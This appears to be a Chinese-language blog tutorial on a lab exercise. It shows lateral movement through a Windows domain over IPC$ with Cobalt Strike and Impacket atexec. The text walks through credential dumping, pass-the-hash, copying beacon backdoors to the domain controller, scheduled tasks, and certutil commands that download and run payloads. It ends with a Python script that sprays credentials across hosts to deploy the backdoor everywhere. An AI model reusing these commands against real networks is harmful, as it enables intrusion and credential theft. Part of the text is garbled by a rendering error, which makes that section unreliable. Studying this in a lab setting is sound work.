内网安全:IPC协议横向移动

目录

网络拓扑图

网络环境说明

IPC协议

域渗透实战

域内信息收集:域控主机&&用户&&凭据&&网络

IPC协议横向移动 - 执行命令

一. 建立IPC连接

二. 拷贝执行文件到目标机器

三. 添加计划任务

IPC协议横向移动 - CS插件

IPC协议横向移动 - Impacket(常用)

EXE版本测试

 Py版本测试 - 代理技术

获取DC账户密码


今天开始内网横向移动的学习,基于IPC协议的横向移动。 

网络拓扑图

IPC横向移动的实验环境如下

内网安全:IPC协议横向移动_第1张图片

网络环境说明

攻击机:

        LInux      IP:47.94.236.117

内网环境:单域环境

        Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

                             IP:192.168.46.146       192.168.3.31

        DC:域控     IP:192.168.3.21

        Jack-PC:    IP:192.168.3.29

        Mary-PC:   IP:192.168.3.25

        SQLServer:IP:192.168.3.32

        FileServer: IP:192.168.3.30

IPC协议

IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。

IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。常见的IPC协议包括以下几种:

  1. 管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。

  2. 命名管道(Named Pipe):命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。

  3. 消息队列(Message Queue):消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。

  4. 共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。

  5. 套接字(Socket):套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。

  6. 信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。

以上只是一些常见的IPC协议,实际上还有其他更多的IPC机制和协议,每种协议都有其适用的场景和特点。选择适当的IPC协议取决于具体的应用需求和操作系统支持。

IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接


常用ipc命令总结
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator  #新建连接
net use #查看与本机的所有连接
net use \\192.168.3.32 /del  #删除该连接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

域渗透实战

接下将会一步一步拿下整个内网!

域内信息收集:域控主机&&用户&&凭据&&网络

随便一条命令即可验证,shell调用对方主机的cmd命令

shell net time /domain

内网安全:IPC协议横向移动_第2张图片

并且还得到了一个域控的信息。ping一下

内网安全:IPC协议横向移动_第3张图片

获得域控主机地址: 

内网安全:IPC协议横向移动_第4张图片

域内用户信息,插件或者命令

shell net user /domain

域内用户信息

内网安全:IPC协议横向移动_第5张图片

获取网络信息,这个需要权限,需要提权,使用高权限的会话进行网络信息收集

内网安全:IPC协议横向移动_第6张图片

通过端口扫描探测网络环境

内网安全:IPC协议横向移动_第7张图片

在CS上上线的是192.168.46.*网段,说明192.168.3.*网段是内网网段

内网安全:IPC协议横向移动_第8张图片

因为我们主要是探测网络主机情况,不需要扫太多端口吗,扫一些常见端口即可

内网安全:IPC协议横向移动_第9张图片

扫描结果:

内网安全:IPC协议横向移动_第10张图片

内网安全:IPC协议横向移动_第11张图片 还有一种情况,倘若当前主机的用户不是域用户怎么办?可以在CS中切换用户上线,需要高权限

内网安全:IPC协议横向移动_第12张图片

别的主机登录过这台主机,会进行密码验证,并记录在内存中,需要高权限才能读取,可以通过这个收集到一个密码集,尝试类似弱口令的攻击。比如域控通过密码登录过这台主机,抓取到域控的密码或者hash,往往域控用户的很多个密码都是同一个,可以尝试弱口令。

在内网渗透的很多横向移动攻击手法中,往往需要传递这些凭据来实现攻击

内网安全:IPC协议横向移动_第13张图片

抓取明文密码:

内网安全:IPC协议横向移动_第14张图片

抓取Hash:

内网安全:IPC协议横向移动_第15张图片

建立IPC连接失败的常见原因:

  1. 对方没打开IPC共享
  2. 对方未开启139,445端口
  3. 账号密码不对

IPC协议横向移动 - 执行命令

前面已经收集到了一些Hash,明文密码,借助IPC进行横向移动

建立IPC连接:需要账号密码,前面已经获取了域内用户账号和抓取了密码

一. 建立IPC连接

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 

注意:这里只是现有演示横向移动的手法,Admin123456如何获取等会再解释

这里是通过Webserver(192.168.3.31,已拿下)去横向移动到DC(192.168.3.21)

内网安全:IPC协议横向移动_第16张图片

这就建立好了双方主机的IPC连接

建立IPC连接失败常见错误代码:

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: …账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目…共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

二. 拷贝执行文件到目标机器

之后上传后门到DC(192.168.3.21)

首先需要说明后门生成的问题:

正向连接方式:生成后门,令192.168.3.21绑定本地端口,通过Websever(192.168.3.31)去主动访问

beacon_bind_tcp->beacon.exe
connect 192.168.3.21 2222

反向连接方式:后门的IP应该是Webserver的192.168.3.31这个IP,因为要和DC铜鼓县你,所以需要使用这个IP,才能建立起反向连接

代理转发->转发上线->beacon.exe

其次说明后门上传的问题:

我们是通过Webserver(192.168.3.31)横向移动的,IPC建立的连接也是Webserer与DC的

所以需要先把后门上传至Webserver再拷贝到DC上。

这里仅实验正向连接

内网安全:IPC协议横向移动_第17张图片

在CS中执行命令,使用控制Webserver的高权限会话执行命令,复制文件到C盘

shell copy 4444.exe \\192.168.3.21\c$

内网安全:IPC协议横向移动_第18张图片

内网安全:IPC协议横向移动_第19张图片

三. 添加计划任务

在添加计划任务时,根据操作系统的版本不同,使用的命令也有不同

at < Windows2012 (该版本之前的操作系统使用at命令)

添加计划任务,定时执行

样例:shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

定时任务生效后连接:connect 192.168.3.21    #等到定时任务生效后执行,正向连接上线

schtasks >=Windows2012(适用于windows2012后的操作系统版本)

创建任务对应执行文件neacon

样例:schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F

运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i 
删除beacon任务:

schtasks /delete /s 192.168.3.21 /tn beacon /F

 通过IPC建立的连接上传后门后,再通过这个给这台主机添加定时任务

内网安全:IPC协议横向移动_第20张图片

之后就会执行上线

内网安全:IPC协议横向移动_第21张图片

IPC协议横向移动 - CS插件

LSTAR插件,使用倒数第二个

内网安全:IPC协议横向移动_第22张图片

内网安全:IPC协议横向移动_第23张图片

 也可以通过这个插件做横向移动

IPC协议横向移动 - Impacket(常用)

这是一个专门做横向移动的套件,包含多种横向移动方式

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

EXE版本测试

上传文件到Webserver再执行命令,

支持明文,密文Hash连接

CS本地用户明文连接,./针对本地用户连接
shell atexec.exe ./administrator:[email protected] “whoami”
CS域内用户明文连接,god/针对域内用户连接
shell atexec.exe god/administrator:[email protected] “ver”

内网安全:IPC协议横向移动_第24张图片

内网安全:IPC协议横向移动_第25张图片

这款工具还支持Hash连接

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] “whoami”
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] “whoami”

内网安全:IPC协议横向移动_第26张图片

把木马下载到Webserver这个目录上,放到了Web服务上

内网安全:IPC协议横向移动_第27张图片

命令执行改为下载Webserver上木马命令

shell atexec.exe god/administrator:[email protected] "certutil.exe -urlcache -split -f http://192.168.3.31:80/2222.exe zx.exe"

CS执行命令 

内网安全:IPC协议横向移动_第28张图片

内网安全:IPC协议横向移动_第29张图片

shell atexec.exe god/administrator:[email protected] "zx.exe"
connect 192.168.3.21 2222

上线

内网安全:IPC协议横向移动_第30张图片

缺点:需要上传的文件太大了,动静很大

内网安全:IPC协议横向移动_第31张图片

 Py版本测试 - 代理技术

为了解决主机上没有Python的问题,建议使用代理技术把攻击机带进内网进行测试

内网安全:IPC协议横向移动_第32张图片

内网安全:IPC协议横向移动_第33张图片

使用Proxifier进行代理

内网安全:IPC协议横向移动_第34张图片

内网安全:IPC协议横向移动_第35张图片

配置代理,任意进程走3网段的都走代理

内网安全:IPC协议横向移动_第36张图片

 访问到内网

内网安全:IPC协议横向移动_第37张图片

接下来就可以本地直接测试Py,需要安装impacket库

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] “whoami”

内网安全:IPC协议横向移动_第38张图片

关于为什么都是system权限上线解释:

域控制器上的域管理员账户(Domain Administrator)具有最高权限,可以管理域中的所有用户账户和计算机。域管理员账户默认具有登录所有域成员主机的权限,这意味着域管理员可以使用其凭据登录到域中的任何计算机。所以在实验中获得的才是system权限。

在实际测试中,是不知道的,而且我们在信息收集时针对Webserver内存密码读取也没读到。

那么如何获得DC的账户呢?

通过Webserver抓到了不少的凭证,通过IPC横向移动,使用本地用户./administrator和GOD/administrastor和账号密码组合测试,如果拿下来主机,就可以在抓取这台主机的内存里的凭证重复上面测试不断丰富凭证,知道横向到DC的密码。

获取DC账户密码

在一开始信息收集时,获得一部分明文密码

内网安全:IPC协议横向移动_第39张图片

通过这个密码横向移动其它的设备

分别测试本机用户和域用户

测试域用户失败,估计权限不够,测试本地用户成功

内网安全:IPC协议横向移动_第40张图片

 192.168.3.29上线,还是system权限,说明那个密码时电脑本地管理员的账号密码

内网安全:IPC协议横向移动_第41张图片

抓取新上线主机的哈希,明文

内网安全:IPC协议横向移动_第42张图片

这条信息抓到的是DC账户的哈希,如果不知道的话,也可以每一条hash都试试横向移动也可以

 可以利用这条哈希进行横向移动

内网安全:IPC协议横向移动_第43张图片

上线

内网安全:IPC协议横向移动_第44张图片

再去抓域控的凭证,得到DC账户的明文密码

内网安全:IPC协议横向移动_第45张图片

之后写个脚本,用这个明文密码跑一跑,整个网络就通了

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'adm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#[email protected] "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#[email protected] "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

整个内网就都会上线CS了

你可能感兴趣的:(内网渗透,安全,横向移动,IPC,协议)